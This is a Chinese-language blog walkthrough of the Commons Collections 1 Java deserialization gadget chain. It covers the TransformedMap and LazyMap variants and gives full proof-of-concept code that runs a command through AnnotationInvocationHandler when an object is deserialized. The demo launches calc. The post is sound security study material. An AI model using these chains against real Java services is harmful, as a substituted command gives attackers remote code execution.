JAVA安全之CommonsCollections1

CommonsCollections1 (CC1链分析)

什么是Commons Collections?

根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

环境要求:JDK8U65,CommosCollections 3.1

Java 8u121之后被修复

TransformMap

我们想要利用的是JAVA反序列化来实现我们执行恶意代码的目的,我们在去寻找readObject这个序列化函数利用之前,我们可以去寻找我们能执行我们的恶意代码的地方,这里我们就可以使用org.apache.commons.collections.Transformer#transform这里面的transform方法来达到第一个目的

第一阶段----利用InvokerTransformer(找到可以RCE的点)

首先我们可以查看transformer.class这个文件里面

package org.apache.commons.collections;

public interface Transformer {
    21 implenments
    Object transform(Object var1);
}

这里面很多其他的类都实现了这个接口

image-20240716162131506

这里就需要我们来一个一个的看一看有没有可以利用的地方了,这里有很多的类,我们看一看里面对transform方法的实现就OK了

##ChainedTransformer
 private final Transformer[] iTransformers;
 public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
}
 public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
     return object;
}//这个transform方法对我们的对象进行了遍历,然后传递给了iTransformers[i]这个数组。
这个似乎对传入对象的类型是有要求的。
//ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
##ConstantTransformer
    private final Object iConstant;
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }//这个方法实际就是调用了一下这个方法,返回构造方法里面的类而已。可以用来获取类。
##ClosureTransformer
 private final Closure iClosure;
 public Object transform(Object input) {
      this.iClosure.execute(input);
      return input;
 }
//这里的excute最开始我是觉得有命令执行点的,但是这是没用的。
##InvokerTransformer
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } 
            
            
            catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }
    //这个就比较的有意思了,这里面反射得到invoke函数可以用来命令执行的,调用这个类里面的这个方法就能达到我们RCE的目的了

这个InvokerTransformer的规范使用

InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

里面需要三个参数用来描述命令

这里实际上我们就可以联系之前的反射RCE来弹计算机了,我们可以使用ConstantTransformer这个类里面的transform方法来获取我们的Runtime类

new ConstantTransformer(Runtime.getRuntime());//普通的类可以实例化

这样我们再使用InvokerTransformer里面的transform方法来RCE

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

这里我们有两种思路

  1. 直接使用Runtime R=Runtime.getRuntime();,来代替ConstantTransformer的transform方法,作为InvokerTransformer的Object input.
  2. 找到能同时调用两个类里面的transform方法,这里我们可以使用ChainedTransformer里面的数组遍历的方式,然后实现对数组里面的对象的方法进行调用

第一种思路实现RCE

public class cc1 {
    public static void main(String []args) throws Exception{
        Runtime R=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        System.out.println(invokerTransformer.transform(R));
    }
}

第二种思路数组遍历调用方法实现RCE

  • 首先测试数组遍历是否能执行里面对象的方法

    public class ceshi {
        // 定义一个函数,打印整数参数
        public static void printNumber(int number) {
            System.out.println("打印数组元素: " + number);
        }
        public static void main(String[] args) {
            // 创建一个整数数组
            int[] numbers = {1, 2, 3, 4, 5};
            // 遍历数组,调用函数打印每个元素
            for (int number : numbers) {
                printNumber(number);
            }
        }
    }
    
    打印数组元素: 1
    打印数组元素: 2
    打印数组元素: 3
    打印数组元素: 4
    打印数组元素: 5
    

    测试成功,

    public static void main(String []args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    }

第二阶段---找到能形成链子的类和方法---》TransformedMap

在我们给出的CC1链子里面会有这一步

image-20240716162154059

这里凭借猜测都会知道,这个肯定是调用了我们第一阶段里面的ChainedTransformer,这里我们直接通过下断点看他会进入哪里

image-20240716162207115

image-20240716162245584

这里调试之后去会进入TransformedMap这个类里面,开始分析这个类

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。

Map innermap=new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

这里我们就得想了,我们用这个TransformedMap可以实现回调的功能但是我们的回调又如何触发嘞?

这里搜索得到,我们可以使用put方法写入键值来触发回调

outerMap.put("test", "xxxx");xxxxxxxxxx outer.outerMap.put("test", "xxxx");

这里我们就可以写出一个简单的demo了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String []args) throws Exception{
        Transformer[] transformers =new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("value","null");
    }
}

这段代码成功的弹出了计算机,但是实际上我们还是在本地通过触发put方法进而触发我们的transform方法,然后成功执行恶意代码,下一阶段的目标就是通过我们的其他类来触发我们的transform方法。

第三阶段---实现完整的反序列化POC

接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put等等

AbstractMapEntryDecorator

我们直接开始从TransformedMap里面开始追踪,这里面的checkSetValue是调用了我们的transform方法的,所以

image-20240716162258829

这里会追踪到AbstractInputCheckedMapDecorator里面的setValue方法

image-20240716162309860

可以看到这个类实际上是继承于AbstractMapEntryDecorator

image-20240716162320965

追踪到这我们可以总结出来,实际上我们想要调用transform方法就通过一系列的调用只要实现setValue的调用,我们就可以达到形成我们完整的反序列化调用链。

这里我分析时出现一个问题就是,为什么一定要去分析setValue呢?

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
 protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

这里调用这个SetValue的时候实际上也就是我们再简洁的调用了TransformeMap里面的装饰器功能,达到了我们对方法进行调用的目的,所以这里直接去找哪里重写的readObject,具体怎么找有待分析

AnnotationInvocationHandler

我们最终是想找到通过触发readObject来作为我们的反序列化调用的起点---》也就是在某个类里面的readObject方法里面去调用我们的具体的方法来实现调用链。

这里我们找到的是AnnotationInvocationHandler这个类

image-20240716162334789

image-20240625141404971

触发setValue方法,
  • 语句Map.Entry<String, Object> memberValue : memberValues.entrySet()用于遍历Map,String name = memberValue.getKey();语句和Object value = memberValue.getValue();语句用于获取键值对

  • 这里 if(memberType !=null)满足条件就是我们去实现调用setValue的最终目的---》innerMap.put(1,1)就是用来满足条件的。

  • 这个类是sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,必须得利用反射来获取到这个类

这里又会有一个思考的地方就是我们的 constructor.newInstance这个方法实例化的类到底是什莫呢,

  1. 这里最开始是想直接使用一个transform.class,直接报错了

    image-20240716162346904

  2. 这里说是尝试去创建代理来获得非注解类型

注解类型的定义看起来和接口的定义很像,最早是在interface关键词前加了at标志(@) (@ = AT, as in annotation type)。注解类型是接口的一种形式

  • 简单来说就是有@的类都可以叫做注解类
  • image-20240716162359061

这里我们使用Retention这个注解类,注解class,来获取构造函数,执行调用,利于反序列化操作。

public class cc1 {
    public static void main(String []args) throws Exception{
        Transformer[] transformers =new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        innerMap.put("value","null");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域,提高反射速度
        constructor.newInstance(Retention.class,outerMap);//实例化AnnotationInvocationHandler
    }
}

这里就很奇怪了,我们执行成功了但是却没有成功弹出我们想要的计算机?

这里通过看了文章才知道,我们的调用Runtime.class的时候实际上是没有实现serialize接口的,所以我们就得使用其他方法反射得到方法

Class clazz = Runtime.class;
       Method getRuntimeMethod = clazz.getMethod("getRuntime");
       Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
       Class<? extends Runtime> runtimeClass = runtime.getClass();
       Method execMethod = runtimeClass.getMethod("exec", String.class);
 new ConstantTransformer(Runtime.class),
                // 获取 Runtime 对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                // 获取 exec 的 Method 对象并调用 invoke 执行 calc
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

最终POC

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        //序列化对象
        Object o = c.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        Object ob = (Object) ois.readObject();
    }

}

LazyMap

LazyMap和TransformedMap类似,都来源于common-collections库,并继承AbstractMapDecorator

第一阶段----借助transformMap简单分析

我们之前分析transformMap的时候是直接从哪里调用transform方法开始寻找的,所以我们直接一样的搜索

image-20240716162414187

这里我们直接进入LazyMap这个类里面去寻找调用了transform方法的的方法

//LazyMap
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);//protected final Transformer factory;
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

我们首先看一看这段代码, if (map.containsKey(key) == false)这段代码会检查判断 Map 集合对象中是否包含指定的键名,这里检查到没有就会创建一个,factory.transform(key)这里就直接调用了我们的想用的transform方法,看到这我们就得去看一下这个类的构造方法。

你会看到有两个构造方法,根据之前学习transformap的写法,我们这里直接入口transformer类型

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

LazyMap(Map map, Transformer factory) 这两个变量是可控的,和之前也差不多,传一个map类,再把我们的核心transformChain放入第二个参数。就可以达到之前差不多的目的了

public class cc1 {
    public static void main(String []args) throws Exception{
        Transformer[] transformers =new Transformer[] {
                new ConstantTransformer(Runtime.class),// 获取 Runtime 对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                // 获取 exec 的 Method 对象并调用 invoke 执行 calc
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        innerMap.put("value","null");       
        Map lazymap = LazyMap.decorate(innerMap, transformerChain);
        lazymap.get("sss");

这段代码能够成功的弹出计算机来

第二阶段----实现调用

这里思路很清晰了,和之前的一样,我们还是得找到能触发get方法,并且能够让我们的transformerChain得到遍历,而且还得重写readObject方法,这里我们使用的就是老朋友 AnnotationInvocationHandler

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);

这里我们可以明显的看到这个类的invoke方法里面是调用了get方法的,所以我们这里就是直接利用他了

  • if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class)首先我们这里得绕过这个if语句,这里直接乱传参数不等于equals就OK了
  • else if (var5.length != 0)这里我们使用的无参调用来绕过,然后来到我们的get方法

这里我们得思考的是我们怎样才能让我们的invoke函数触发呢

class AnnotationInvocationHandler implements InvocationHandler, Serializable 

这里继承了InvocationHandler接口,大胆猜测AnnotationInvocationHandler就是个注解类型的代理类,这里我们就联想到动态代理的知识了

  1. 在执行动态代理时会首先调用我们的InvocationHandler类里面的invoke方法,我们也就可以代理一个有invoke函数的动态代理类
  2. 这里我们使用的就是我们的AnnotationInvocationHandler这个类,代理的时候就会直接触发这里的get函数

这是AnnotationInvocationHandler这个类里面的invoke方法

image-20240716162427134

实际上我们想要实现链子还得控制membervalue的值,我们必须知道,如何传入值

memberValues可通过反射获取构造函数传入proxyMap

Transformer[] transformers = new Transformer[]{
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),
  new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),
  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);//获取到AnnotationInvocationHandler这个类
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

用proxyMap调用任意方法即可触发invoke方法

POC

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) c.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClass().getClassLoader(), Map.class.getClass().getInterfaces(), handler);
        //序列化对象
        Object o = c.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        Object ob = (Object) ois.readObject();
    }
}

局限

在Java 8u71以后,官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法。

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

posted @ 2024-07-16 16:26  tammy66  阅读(36)  评论(0)    收藏  举报